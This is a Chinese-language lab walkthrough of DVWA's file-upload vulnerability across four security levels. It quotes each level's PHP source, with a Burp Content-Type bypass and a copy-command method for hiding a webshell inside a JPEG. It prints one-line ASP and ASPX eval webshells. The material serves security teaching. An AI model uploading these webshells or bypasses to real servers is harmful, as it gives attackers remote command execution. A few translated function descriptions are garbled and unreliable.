朋友们,在抗击新型肺炎的战役中,医护人员、政府和相关保障企业做出了巨大贡献,甚至生命。我们隔离在家,只有不信谣言、不断学习、传播正能量,共同呵护我们共同的家园。天地同根,万物共息。
文件上传通常是由于对上传文件的类型,内容没有进行严格的过滤,检查,导致攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传扩展带来的危害常常是毁灭性的。
文件上传漏洞的利用条件:
1、Low低级别
查看源代码
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!
";
}
}
?>
文件上传文件,直接保存,保存路径hackable/uploads/,文件上传成功后,返回successfully。函数basename():返回路径中的文件名。函数move_upload_file(string $filename, string $destination):将文件移动到指定位置。
漏洞利用
我们上传一个脚本文件cmdi.html,上传成功。
我们访问这个上传的文件试试
http://192.168.92.129/DVWA/hackable/uploads/cmdi.html
出现页面
上传文件漏洞与路径遍历结合运用,达到目的。既然可以上传脚本文件,那后面可以上传任何想上传的文件了。
2、Medium中级别
查看源代码
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
// Is it an image?
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
代码分析
当有提交上传文件时,少量先用变量从$_POST['uploaded']取出文件路径,文件名,文件类型,文件大小;然后对文件MIME类型进行判断,如果文件类型为image/jpeg或者和image/png文件大小小于100000byte,则将临时文件移动到指定目录,上传成功,则回显文件路径
这种防御措施主要是设置MIME类型白名单过滤规则,同时限制文件大小
如果不进行修改,则上传html文件类型会报错。
下面是我们通过使用抓包工具Burp抓包后,修改报文形式实现上传
把上面报文拷贝到Intercept下的Raw中,修改Content-Type字段中的内容为image/png。
Content-Type是客户机设置的标准HTTP头文件,用于向服务器说明它接收的数据类型。很多开发人员通过判断content-type过滤危险文件。但是这种保护措施的脆弱的。拦截和修改请求包时web应用渗透测试的一个非常重要的技能。不仅可以绕过一些客户端验证,还可以研究发送的信息,并且尝试理解应用程序的内部工作方式。有时候,需要添加、删除或替换一些值。
单击【Forward】,则发送成功,看到上传成功。
上传到了uploads目录中
3、High高级别
查看源代码
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
// Can we move the file to the upload folder?
if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
// No
echo 'Your image was not uploaded.
';
}
else {
// Yes!
echo "{$target_path} succesfully uploaded!";
}
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
?>
代码分析:
当有提交上传文件时,先后端用变量从$_POST['uploaded']取出文件路径,文件名,文件扩展名,文件大小,临时文件名称;然后进行判断,如果文件扩展名为jpg\png\jpeg且文件大小小于100000byte,并且能获取到图像信息,则将临时文件移动到指定目录,上传成功,则回显文件路径 函数strtolower():将所有字母转换为小写 函数getimagesize():获取图像信息
常见的图片格式的文件头标识如下:
JPEG / JPG - 文件头标识 (2个字节): FF D8 ( SOI ) ( JPEG文件标识) - 文件结束标识 (2个字节): FF D9 ( EOI )
PNG - 文件头标识 (8个字节) 89 50 4E 47 0D 0A 0A 1A
GIF - 文件头标识 (6个字节) 47 49 46 38 39 (37 ) 61 | GIF89 (7 )一个
漏洞利用
通过构造文件头欺骗,伪造文件头、使文件头标识一样,其它修改为图片一句话。绕过扩展名检测和getimagesize()图像信息检测,通过制作一句话图片木马则可以绕过图片信息检测,通常图片马需要配合文件包含一起绕过扩展名检测,进行渗透。
什么是一句话图片木马呢?
一句话木马就是一句简单的脚本代码,常见的一句话木马如下:
php:
asp:<%eval request ("pass")%>
aspx:<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
如果把上面一句话脚本文件上传到网站后,就可以使用中国菜刀连接了。
什么是中国菜单稍后再讲。
先讲讲一句话图片马如何做?
是指把木马代码写入图片文件,写入后不破坏图片为前提,图片扔可以正常打开的方法。
例如:
一句话木马文件为1.php
图片文件为1.jpg
将上面两个文件放在同一个目录下,在这个目录下通过命令行实现文件拼接。
copy 1.jpg/b + 1.php/a 2.jpg
2.jpg可以正常打开,但是其后面已经被链接上了一句话木马。
上传
可以看到上传成功
Uploads目录中已经有了2.jpg文件。
4、Impossible不可能级别
源代码如下
if( isset( $_POST[ 'Upload' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// Can we move the file to the web root from the temp folder?
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// Yes!
echo "${target_path}${target_file}'>${target_file} succesfully uploaded!
";
}
else {
// No
echo 'Your image was not uploaded.
';
}
// Delete any temp files
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// Invalid file
echo 'Your image was not uploaded. We can only accept JPEG or PNG images.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
分析
checkToken函数是防止CSRF攻击。
上传文件后,使用$_POST['uploaded']获得文件路径、文件名、文件扩展名、文件大小、临时文件名;通过uniqid()生成唯一的ID拆分文件名进行md5加密,再拼接上扩展名形成新的文件名,对临时文件也进行此操作,如果扩展名为jpg、jpeg、png且文件大小小于100000byte,且MIME类型为image / png或者image / jpeg,并且能获取图像信息,则重新生成图像进行上传。
函数uniqid ():基于以微秒计的当前时间,生成一个唯一的ID
函数ini_get ():报道查看函数相应选项对话
函数sys_get_temp_dir ():用于报道查看临时文件的目录
函数imagecreatefromjpeg (文件名):函数返回图片文件的图像标识,失败返回错误的
函数imagejpeg (图像,文件名,质量):从图像图像以文件名为文件名创建一个JPEG图像,可选参数质量,范围从0(最差质量,文件更小)到100(最佳质量,文件最大)。
函数imagedestroy ():函数销毁图像资源
函数rename ():重命名文件或目录
函数getcwd ():获取当前工作目录
防御措施:
无法攻击。
-------------------------------------------------------------------------------------------------------------
关注安全 关注作者